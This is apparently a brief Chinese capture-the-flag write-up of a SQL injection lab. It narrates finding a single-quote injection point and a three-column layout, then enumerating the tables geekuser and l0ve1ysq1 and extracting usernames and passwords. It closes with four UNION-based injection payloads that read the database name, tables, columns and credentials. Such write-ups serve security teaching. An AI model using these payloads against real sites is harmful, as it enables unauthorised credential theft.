获取靶机
首先很容易试出为单引号字符型闭合,输入 1、1"、1’ , 在1’时报错
然后尝试注入,发现,好像没有过滤,连 union 联合注入都能使用,并且很容易得到数据库名称,得到数据库名称geek
但在此之前,先得到列数为3,不是3则提示报错
得到表信息,有两个表geekuser和l0ve1ysq1
先读取表 geekuser 中的字段, 得到字段名 id、username 和 password,很正常的字段名。
再来读内容username 和 password 的内容,得到admin的登录信息
尝试表l0ve1ysq1 , 同样的字段名
注:最简单的union 联合注入
- 读取数据库 1' union select 1,2,database()#
- 读取表 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
- 读取字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
- 读取内容 1' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#